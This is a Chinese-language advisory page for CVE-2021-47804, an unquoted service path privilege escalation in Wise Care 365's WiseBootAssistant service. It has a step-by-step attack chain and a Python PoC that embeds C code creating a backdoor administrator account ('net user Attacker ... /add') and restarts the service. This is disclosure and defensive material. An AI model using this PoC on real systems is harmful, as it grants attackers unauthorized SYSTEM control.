IPBUF安全漏洞报告
English
CVE-2021-47804 CVSS 7.8 高危

CVE-2021-47804: Wise Care 365 WiseBootAssistant未引号服务路径提权漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47804
漏洞类型
未引号服务路径提权漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wise Care 365

相关标签

未引号服务路径权限提升本地提权Wise Care 365WiseBootAssistantWindows服务漏洞CWE-427路径劫持SYSTEM权限本地攻击向量

漏洞概述

CVE-2021-47804是Wise Care 365 5.6.7.568版本中存在的一个高危安全漏洞。该漏洞位于WiseBootAssistant系统服务中,由于服务可执行文件路径未使用引号包裹,当系统解析服务路径时存在路径劫持风险。WiseBootAssistant服务以Windows最高权限LocalSystem账户运行,这使得攻击者可以通过精心构造的恶意可执行文件来获取系统级完全控制权限。攻击者只需将恶意程序命名为与服务路径中某个目录名称相同的可执行文件(如.exe),当服务启动或重启时,Windows服务控制管理器会按照路径顺序首先执行攻击者的恶意程序。由于服务以SYSTEM权限运行,恶意代码也将继承相同的最高权限,从而实现权限提升。攻击过程无需用户交互,攻击者只需具备目标系统的本地低权限访问即可实施攻击。此类漏洞被微软定义为"可信任服务路径"漏洞(CWE-427),是Windows系统中常见且危害严重的本地提权手段之一。攻击成功后,攻击者可以在目标系统上执行任意操作,包括安装后门、窃取敏感数据、部署勒索软件等。

技术细节

该漏洞的根本原因在于Windows服务配置中可执行文件路径的写法。当服务路径未使用双引号包裹时(如"C:\Program Files\Wise Care 365\WiseBootAssistant.exe"),Windows服务控制管理器(SCM)在解析路径时会采用空格分割的方式进行路径识别。以路径C:\Program Files\Wise Care 365\WiseBootAssistant.exe为例,系统会首先查找C:\Program.exe是否存在,若存在则优先执行。攻击者可以利用这一特性,在C:\目录下放置名为Program.exe的恶意文件,当WiseBootAssistant服务启动时,该恶意程序将以SYSTEM权限被执行。此外,由于Wise Care 365的安装目录通常位于系统盘,攻击者也可以在Program Files目录下植入恶意程序。由于该服务会在系统启动时自动运行,攻击者获得了持久化执行的能力。漏洞的利用条件包括:攻击者需具备目标系统的写入权限(低权限即可),且服务配置允许低权限用户触发服务重启。修复方案是在服务配置中将路径使用双引号包裹,确保路径解析的唯一性和正确性。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先对目标系统进行侦察,识别是否安装了Wise Care 365软件,并确认WiseBootAssistant服务的存在和配置状态。通过sc query和sc qc命令可以查看服务详细信息。
STEP 2
步骤2: 漏洞验证
使用sc qc WiseBootAssistant命令检查服务的BINARY_PATH_NAME,验证路径是否未使用引号包裹。如果路径中包含空格且无引号,则确认存在未引号服务路径漏洞。
STEP 3
步骤3: 路径分析
分析服务路径C:\Program Files\Wise Care 365\WiseBootAssistant.exe,识别可被劫持的路径节点。Windows会按顺序尝试执行C:\Program.exe、C:\Program Files\Wise.exe等。
STEP 4
步骤4: 恶意程序植入
攻击者利用低权限写入权限,在目标路径(如C:\)下创建恶意的可执行文件Program.exe。该文件包含提升权限或建立后门的恶意代码。
STEP 5
步骤5: 服务重启触发
等待系统更新、重新启动或手动触发服务重启(sc stop WiseBootAssistant && sc start WiseBootAssistant),使Windows服务控制管理器加载并执行恶意程序。
STEP 6
步骤6: 权限提升
由于WiseBootAssistant以LocalSystem(SYSTEM)权限运行,恶意程序继承相同权限级别,攻击者成功获得系统最高权限,可执行任意操作。
STEP 7
步骤7: 持久化控制
攻击者利用获得的SYSTEM权限,可以创建后门账户、修改注册表、植入更深层的恶意软件,确保在系统重启后仍能保持持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47804 PoC - WiseBootAssistant Unquoted Service Path # Author: Security Researcher # Target: Wise Care 365 5.6.7.568 WiseBootAssistant Service import os import sys import subprocess import shutil def check_vulnerable_service(): """Check if WiseBootAssistant service exists and is vulnerable""" try: result = subprocess.run( ['sc', 'qc', 'WiseBootAssistant'], capture_output=True, text=True ) if result.returncode == 0: output = result.stdout if 'BINARY_PATH_NAME' in output: print("[+] WiseBootAssistant service found") # Check if path is unquoted if '"' not in output.split('BINARY_PATH_NAME')[1].split('\n')[0]: print("[!] Service path is UNQUOTED - VULNERABLE") return True else: print("[-] Service path is properly quoted") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Generate malicious executable to escalate privileges""" malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { printf("[+] Malicious payload executed with SYSTEM privileges\\n"); // Add your malicious code here // Example: Create admin user or execute reverse shell // Create a new admin user system("net user Attacker P@ssw0rd123 /add"); system("net localgroup Administrators Attacker /add"); return 0; } ''' return malicious_code def exploit_unquoted_path(): """Exploit unquoted service path vulnerability""" print("[*] CVE-2021-47804 Exploitation Script") print("[*] Target: Wise Care 365 WiseBootAssistant Service\n") # Check if vulnerable if not check_vulnerable_service(): print("[-] Target is not vulnerable or service not found") return False # Determine exploitable path service_path = r"C:\Program Files\Wise Care 365\WiseBootAssistant.exe" exploitable_paths = [ r"C:\Program.exe", r"C:\Program Files\Wise.exe" ] print("\n[*] Identified exploitable paths:") for path in exploitable_paths: print(f" - {path}") print("\n[!] To exploit:") print("1. Place malicious executable at one of the paths above") print("2. Wait for service restart or trigger manually:") print(" sc stop WiseBootAssistant && sc start WiseBootAssistant") print("3. Malicious code will execute with SYSTEM privileges") return True if __name__ == "__main__": exploit_unquoted_path()

影响范围

Wise Care 365 5.6.7.568 及之前版本

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:首先,检查WiseBootAssistant服务配置,确认路径是否已正确使用引号包裹;其次,限制低权限用户对C:\根目录和Program Files目录的写入权限;再次,部署端点检测与响应(EDR)解决方案,监控异常进程执行行为;最后,考虑在业务允许的情况下暂时禁用WiseBootAssistant服务,待官方修复后再重新启用。日常运维中应持续监控系统安全日志,关注服务异常启动事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表